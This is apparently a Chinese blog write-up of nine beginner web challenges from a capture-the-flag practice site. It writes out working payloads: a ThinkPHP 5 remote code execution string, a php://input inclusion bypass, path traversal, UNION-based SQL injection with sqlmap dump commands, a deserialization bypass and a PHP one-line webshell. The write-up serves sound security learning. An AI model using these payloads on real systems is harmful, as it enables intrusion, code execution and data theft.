攻防世界 web高手进阶区 2分题

前言

继续ctf的旅程
攻防世界web高手进阶区的2分题

1、php-rce

ThinkPHP版本5的相关漏洞
先随便输点东西试试
在这里插入图片描述
发现版本号
查了查漏洞
漏洞解析

拿个payload来试

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

发现可用

修改下,寻找flag

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

在这里插入图片描述
直接就有了

2、Web_php_include

进来是这么一段php
在这里插入图片描述
也就是说“php://”会被忽略
不过strstr是对大小写敏感的,用大写PHP绕过检测

/?page=Php://input

post输入

<?php system('ls')?>

查看文件
然后发现一个可能有flag的php
查看内容就是了
在这里插入图片描述
发现一些别的解法
四种解法

3、ics-06

题目说了报表中心遭入侵
进去后点来点去确实只有报表中心可以进去

有个日历
还写了个送分题(出题人的恶意)
在这里插入图片描述
点来点去没动静
看了看url
有个id,盲猜某个id有问题
就用burpsuite爆破下
在这里插入图片描述
还真是,id=2333有问题
url里输入
在这里插入图片描述
啧,直接就有flag了(这个id也充满恶意)

4、warmup

进去是个笑脸(充满恶意)
在这里插入图片描述
看下源码
源码里有个source.php
打开
在这里插入图片描述
看了看,尝试下hint.php
在这里插入图片描述
flag的位置有了
回去看source
根据要求
构造payload

?file=source.php?/../../../../ffffllllaaaagggg

第一个?表示传参,第二个?用来满足截取

就得到了flag
(这里四层,是试出来的,后来发现,ffffllllaaaagggg暗示了)
在这里插入图片描述

看writeup
url 编码绕过的思路是将?进行两次 url 编码,变为%253f
在服务器端提取参数时自动解码一次,checkFile函数中解码一次,仍会解码为?,可以绕过第四个 if

?file=source.php%253f/../../../../ffffllllaaaagggg

5、NewsCenter

进去点来点去没有东西
只有这么个搜索框
猜测sql注入
在这里插入图片描述
先猜字段

1' order by 2# 返回正常
1' order by 3# 返回正常
1' order by 4# 返回错误

所以有三列

暴库

1union select 1,2,database()#

在这里插入图片描述
爆表

1' union select 1,2,table_name from information_schema.tables where table_schema='news'#

在这里插入图片描述
爆列

1' union select 1,2,column_name from information_schema.columns where table_name='secret_table'#

在这里插入图片描述
找到flag了

1' union select 1,id,fl4g from secret_table#

在这里插入图片描述

看writeup
可以用sqlmap

sqlmap -u http://192.168.100.161:53459 --data "search=df" #获取注入点
sqlmap -u http://192.168.100.161:53459 --data "search=df" -dbs #获取数据库信息
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news --tables #获取库内表信息
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table --columns #获取表内字段信息
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table -C "fl4g" --dump #获取字段内容,得到flag

6、NaNNaNNaNNaN-Batman

一个附件
打开来是一串乱码
在这里插入图片描述
最后有个eval(_),应该是这个运行后造成了乱码
改成alert(_),让源码弹出
在这里插入图片描述
做个整理
在这里插入图片描述
看了看要求

  • 长度为16
  • 以be0f23开头
  • 以e98aa结尾
  • 包含233ac
  • 包含c7be9

得到be0f233ac7be98aa
在这里插入图片描述
得到flag
在这里插入图片描述
或者直接var那边自己拼凑下就是flag了

7、PHP2

进去是这么个东西
源码里没有东西
抓包扫描也没有东西
url里index.php、admin等常见页面也没有东西
。。。。(哽住)
在这里插入图片描述
查了查。。
说是信息在index.phps
而且原题是有提示的!(摔)
在这里插入图片描述
意思是

  • 需要用GET方式给id参数传递一个为“admin”的值
  • 但是会经过一次urldecode

所以要双重URL编码

?id=%2561%2564%256d%2569%256e

得到flag
在这里插入图片描述
后来发现,只要对admin里的一个字母双重url编码就行了
在这里插入图片描述

注:

  • phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码
  • 因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替

8、unserialize3

进去是这么一串
在这里插入图片描述
结合题目
应该就是要在序列化的时候跳过wakeup
序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行
详细的可参考php的序列化

先搞出序列化
在这里插入图片描述
xctf类的数字换个大点的就是了
得到flag
在这里插入图片描述

9、upload1

进去是个文件上传
在这里插入图片描述
看看源码
在这里插入图片描述
大概是说会检查上传文件的类型
只有png和jpg的才能上传

那让他不检查不就行了
在这里插入图片描述
编辑html
onchage="check();"给删了
然后上传一个一句话木马

<?php @eval($_POST['helter']);?>

在这里插入图片描述
用蚁剑连接
在这里插入图片描述
就找到flag了
在这里插入图片描述
在这里插入图片描述

看了看writeup他们是先把php改成jpg上传
再用burpsuite抓包修改成php在上传服务器
有点麻烦的

以及中国菜刀笔者是不敢用的
毕竟它多半自带后门

结语

2分题多半是一个漏洞
找到漏洞进去就是

猜你喜欢

转载自blog.csdn.net/weixin_44604541/article/details/106738863